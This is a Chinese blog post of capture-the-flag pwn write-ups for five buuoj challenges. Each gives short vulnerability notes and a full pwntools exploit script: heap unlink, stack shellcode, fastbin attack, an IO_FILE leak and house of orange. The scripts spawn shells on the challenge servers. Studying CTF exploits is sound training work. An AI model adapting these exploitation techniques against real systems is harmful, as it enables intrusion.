buuoj Pwn writeup 136-140

136 zctf_2016_note3

保护
在这里插入图片描述菜单堆。

new
在这里插入图片描述会有bss上的一个数组,用来存放chunk的大小以及最近一次申请回来的chunk的地址。

edit
在这里插入图片描述

free
在这里插入图片描述清理干净了。

edit里面有个溢出。

利用这个溢出接正常的unlink就行
exp

#coding:utf8
from pwn import *
 
r = remote('node3.buuoj.cn',29603)
elf = ELF('./zctf_2016_note3')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
heap_addr = 0x6020C8
 
def add(size,content):
   r.sendlineafter('option--->>','1')
   r.sendlineafter('(less than 1024)',str(size))
   r.sendafter('content:',content[0:size-1])
 
def edit(index,content):
   r.sendlineafter('option--->>','3')
   r.sendlineafter('Input the id of the note:',str(index))
   r.sendafter('Input the new content:',content)
 
def delete(index):
   r.sendlineafter('option--->>','4')
   r.sendlineafter('Input the id of the note:',str(index))
 
add(0x100,'a'*0x100)
add(0x100,'b'*0x100)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
delete(0)
add(0x100,'a'*0x100)

payload = p64(0) + p64(0x101)
payload += p64(heap_addr - 0x18) + p64(heap_addr - 0x10)
payload = payload.ljust(0x100,'a')
payload += p64(0x100) + p64(0x110)
payload += '\n'
edit(0x8000000000000000 - 0x10000000000000000,payload)
#unlink
delete(1)
payload = p64(0) * 3 + p64(free_got) + p64(atoi_got) *2
payload = payload.ljust(80,'\x00')
payload += p64(0x8)*3
edit(0,p64(0) * 3 + p64(free_got) + p64(atoi_got) *2 + '\n')
edit(0,p64(puts_plt)[0:7] + '\n')
delete(1)
r.recvuntil('\n')
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

edit(2,p64(system_addr)[0:7] + '\n')
r.sendlineafter('option--->>','/bin/sh\x00')
 
r.interactive()

137 wdb_2018_3rd_soEasy

保护
在这里插入图片描述在这里插入图片描述

挺明显的。
因为没有开NX,还有栈溢出,所以直接写好shellcode然后跳回来到buf执行就好了。

exp

from pwn import*

r = remote("node3.buuoj.cn", 29859)

r.recvuntil("0x")
buf_addr = int(r.recv(8), 16)
print hex(buf_addr)

payload = asm(shellcraft.sh()).ljust(76, "\x00") + p32(buf_addr)
print payload

r.sendline(payload)

r.interactive()

138 wustctf2020_easyfast

保护
在这里插入图片描述
也没啥菜单,就直接猜各个功能是干嘛的就行。
功能1是add。
在这里插入图片描述
最多四个chunk还只能是fastbin 范围的chunk。

功能2是free
在这里插入图片描述uaf

edit
在这里插入图片描述能输入八个字节。

在这里插入图片描述
能在那个地方留下数字就可以调用后门函数。

思路很简单,我们就通过简单的fastbin attack,把那个地方申请过来,内容清理掉,就好了。

exp

from pwn import *

r = remote('node3.buuoj.cn',28075)

def add(size):
    r.recvuntil('choice>\n')
    r.sendline('1')
    r.recvuntil('size>\n')
    r.sendline(str(size))

def delete(idx):
    r.recvuntil('choice>\n')
    r.sendline('2')
    r.recvuntil('index>\n')
    r.sendline(str(idx))

def edit(idx,content):
    r.recvuntil('choice>\n')
    r.sendline('3')
    r.recvuntil('index>\n')
    r.sendline(str(idx))
    r.sendline(content)

ptr=0x602080

add(0x40)
add(0x40)
delete(0)
edit(0,p64(ptr))

add(0x40)
add(0x40)
#gdb.attach(p)
edit(3,p64(0))

r.recvuntil('choice>\n')
r.sendline('4')

r.interactive()

139 de1ctf_2019_weapon

保护
在这里插入图片描述
在这里插入图片描述平平无奇的add

delete
在这里插入图片描述平平无奇uaf

rename
在这里插入图片描述就是简单的edit

逻辑非常简单,漏洞就uaf。
但是问题出在没有show这种可以输出的函数。
所以想到IO_FILE

利用的关键是能够制造一个overlaping,让一个free状态的fastbin 大小的chunk里面有unsorted bin中main_arena+88的地址,然后修改加爆破,申请到_IO_2_1_stdout_,进行修改,让它泄露libc地址,最后再用普通的uaf来解决问题。

具体我们怎么构造这个overlapping,利用uaf修改指针,想办法申请到heap,然后修改chunk头,达到overlapping的效果。z
在这道题里面就是让chunk2的头部大小等于chunk2+chunk3的大小,然后释放chunk2,chunk3,chunk2挂进unsorted bin,chunk3挂进fastbin。再申请chunk2大小的chunk,让地址挂进chunk3,此时chunk3处于释放状态,fd就会变成main_arena+88,就达到了效果。

#!/usr/bin/python2
from pwn import *
def pwn():
	global r
	r = remote('node3.buuoj.cn',25160)
	elf = ELF('./139')
	libc = ELF("./64/libc-2.23.so")

	def add(size,idx,name):
		r.sendlineafter('>>','1')
		r.sendlineafter(': ',str(size))
		r.sendlineafter(': ',str(idx))
		r.sendafter(':',name)

	def delete(idx):
		r.sendlineafter('>>','2')
		r.sendlineafter(':',str(idx))
		
	def edit(idx,data):
		r.sendlineafter('>>','3')
		r.sendlineafter(': ',str(idx))
		r.sendafter(':',data)

	payload=p64(0)*1+p64(0x71)
	add(0x28,0,payload)
	add(0x18,1,'cccc')
	add(0x38,2,'dddd')
	add(0x60,3,'eeee')
	add(0x60,4,'aaaa')
	add(0x60,5,'bbbb')
	delete(3)
	delete(4)
	edit(4,'\x10')
	add(0x60,8,'dd')
	add(0x60,7,p64(0)*3+p64(0x21)+p64(0)*3+p64(0xb1))
	delete(2)
	delete(3)
	add(0x38,2,'aaa')
	edit(3,'\xdd\x85')
	payload1='\x00'*0x33+p64(0xfbad3c80)+3*p64(0)+p8(0)
	add(0x60,8,'aaa')
	add(0x60,9,payload1)
	
	libc_base=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
	malloc_hook=libc_base+libc.sym['__malloc_hook']
	one_gadget=libc_base+0xf1147
	
	delete(3)
	delete(4)
	delete(3)
	add(0x60,3,p64(malloc_hook-0x23))
	add(0x60,6,'aaaa')
	add(0x60,4,'aaaa')
	add(0x60,8,'a'*0x13+p64(one_gadget))

	r.sendlineafter('>>','1')
	r.sendlineafter(': ',str(0x20))
	r.sendlineafter(': ',str(8))
	r.interactive()
	return True

if __name__=="__main__":
	while True:
		try:
			if pwn()==True:
				break
		except Exception as e:
			r.close()
			continue

140 houseoforange_hitcon_2016

保护

在这里插入图片描述
就是house of orange 跟题目名字一摸一样。

在这里插入图片描述
build
在这里插入图片描述备注一写顿时简单了起来。

结构分析一下。

在这里插入图片描述那orange的颜色要么就是56746,要么就是0到6.

see

在这里插入图片描述然后呢这里56746跟30到36输出是不一样的。

upgrade

在这里插入图片描述

房子只能申请三个,改也只能改三次。
对修改的大小没有限制,所以就会有堆溢出。
那问题来了,怎么利用?

他没有free函数,这就是标准的house of orange

我们总体的思路是这样的。

创建第一个house,修改top_chunk的size
创建第二个house,触发sysmalloc中的_int_free
创建第三个house,泄露libc和heap的地址
创建第四个house,触发异常

一步一步来,首先说创建第一个house并且修改top_chunk的size。

通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,将其称为old top chunk 。
但是top chunk的size不能随便改,因为malloc中对它的大小有检查。

assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

看上去有些不好理解,总结起来就四点。

    大于MINSIZE(0X10)
    小于所需的大小 + MINSIZE
    prev inuse位设置为1
    old_top + oldsize的值是页对齐的
build(0x30,'a'*8,123,1)
payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf81)
upgrade(len(payload),payload,123,2)

第二步就是说我们让那个topchunk挂到unsorted bin中,那么我们就需要再次申请一个chunk,大小要大于刚刚的top chunk。但是要注意不能大于malloc的分配阈值,也就是mp_.mmap_threshold,否则的话会去调用mmap申请空间,会申请在libc上面。

在这里插入图片描述

build(0x1000,'b',123,1)
build(0x400,'a'*8,123,1)

第三步就需要我们去泄露地址。old chunk挂入unsorted bin中的时候我们可以去泄露libc的地址,申请回来泄露就好了,剩下的部分会进入large bin,我们再申请回来再泄露,就可以知道heap的地址。

see()
r.recvuntil("a"*8)
leak = u64(r.recv(6).ljust(8,'\x00'))
libc_base = leak -0x3c5188
print "leak -->[%s]"%hex(leak)
print "libc base address -->[%s]"%hex(libc_base)
#malloc largechunk again
#leak heap_base
upgrade(0x400,'a'*16,123,1)
see()
r.recvuntil('a'*16)
leak_heap = u64(r.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)

第四步是我们的第二个关键部分,前一个关键部分在于怎么去制造free的chunk来让我们去利用,后一个部分就是我们怎么通过攻击_IO_FILE来拿到我们的shell

最后利用的是报错。
old_top的size被改写为0x60,本次分配的时候,会先从unsortbin中取下old_top,加入到smallbin[4],同时,unsortbin.bk也被改写成了&IO_list_all-0x10,所以此时的victim->size=0那么不会通过校验,进入malloc_printerr,触发异常。

具体一点怎么说呢,就是在我们unsorted bin attack结束之后,我们想一下,此时unsorted bin中会有什么,他会把我们之前的bck链进去呀,当我们再次去申请chunk的时候,一进来就会先对undorted里面的chunk做检查。

 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

我们此时的chunk的size位是0,因为刚刚bck是&_IO_list_all - 0x10, 所以size的地方是0,就会在if中的那个检查挂掉,然后从而完成攻击。

exp

payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
#old_top_chunk=_IO_FILE
fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack
fake_file += p64(0) + p64(1) 
#bypass check
#_IO_FILE fp
#fp->_IO_write_base < fp->_IO_write_ptr (offset *(0x20)<*(0x28))
#fp->_mode<=0   (offset *(0xc8)<=0)
fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
#0xc0+0x18=0xd8
#_IO_jump_t *ptr_vtable
#file_adr+0xd8=&ptr_vtable
#vtable[3]=overflow_adr
#gdb.attach(p)
payload += p64(heap_base + 0x5f0)#ptr_vtable
payload += p64(0)*3#vtable
payload += p64(system)#vtable[3]
upgrade(0x800,payload,123,1)
r.recv()
r.sendline('1')
#malloc size<=2*SIZE_SZ
#malloc(0x10) -> malloc_printerr ->overflow(IO_list_all) ->system('/bin/sh')

所以整个的exp

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 28437)
#r = process("./hitcon_2016_houseoforange")

context.log_level = 'debug'

elf = ELF("./140")
libc = ELF('./64/libc-2.23.so')

def add(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('1')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name :")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))


def show():
	r.recvuntil("Your choice : ")
	r.sendline('2')

def edit(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('3')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name:")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值